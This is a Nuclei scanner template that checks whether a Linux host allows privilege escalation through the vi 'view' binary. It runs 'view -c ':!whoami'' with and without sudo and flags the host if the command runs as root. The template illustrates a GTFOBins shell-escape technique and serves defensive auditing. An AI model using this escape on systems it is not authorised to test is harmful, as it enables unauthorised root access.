nuclei-templates/code/privilege-escalation/linux/binary/privesc-view.yaml

49 lines
1.2 KiB
YAML

id: privesc-view
info:
name: View - Privilege Escalation
author: daffainfo
severity: high
description: |
view is a command that is often associated with the vi text editor. When invoked as "view," vi starts in read-only mode, allowing users to view files without the ability to modify them.
reference:
- https://gtfobins.github.io/gtfobins/view/
metadata:
verified: true
max-request: 3
tags: code,linux,view,privesc,local
self-contained: true
code:
- engine:
- sh
- bash
source: |
whoami
- engine:
- sh
- bash
source: |
view -c ':!whoami'
- engine:
- sh
- bash
source: |
sudo view -c ':!whoami'
matchers-condition: and
matchers:
- type: word
part: code_1_response
words:
- "root"
negative: true
- type: dsl
dsl:
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
condition: or
# digest: 4a0a00473045022100ed64ed48009962a92006b2ce803d0c5189e91ced727a841bc8c31e5d98d1a9b5022009f19b7df531fecde9b1303555d1ec29ba63a49ca1c439b6f48f46552d2d4bb4:922c64590222798bb761d5b6d8e72950